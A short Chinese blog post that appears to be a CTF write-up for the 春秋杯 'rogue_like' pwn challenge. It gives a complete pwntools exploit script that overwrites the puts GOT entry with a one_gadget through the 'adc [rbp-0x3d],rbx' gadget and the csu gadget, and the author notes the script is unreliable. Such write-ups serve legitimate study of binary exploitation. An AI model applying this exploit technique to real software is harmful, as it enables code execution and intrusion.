春秋杯day3 pwn rogue_like半非预期解法

前面的思路和官方wp一样,后面我利用了一个magic gadget,省去了栈迁移的繁琐

from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc-2.27.so')
def choose(num):
    p.sla(b'> ',str(num))
offset1=0x002528
choose(1)
p.sla(b'!?\n',str(offset1))
choose(2)
choose(5)
choose(0x602058)
choose(3)
opcode=0x00000000004009d8
onegadget=[0x4f29e,0x4f2a5,0x4f302,0x10a2fc]
offset=onegadget[0]-libc.symbols['puts']
if offset<0:
    offset=2 ** 64 + offset
payload=b'a'*0xa8+p64(0x00000000040145A)+p64(offset)+p64(elf.got['puts']+0x3d)+p64(0)*4+p64(opcode)+p64(elf.plt['puts'])+p64(0)*2
# p.debug()
p.sd(payload)
p.sd('exec 1>& 0')

p.ia()

'''
这段脚本有概率打通,不稳定,打通后仍然会显示EOF,因为close(2)了
执行exec 1>& 0理论上就能回显了,但我本地不回显,估计是环境的问题
'''

magic_gadget是adc [rbp-0x3d],rbx

利用csu控制rbx和rbp即可调用这段gadget,直接把puts改成onegadget就可以了,最近写博客有点累了,感兴趣的拿着exp自己研究吧

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇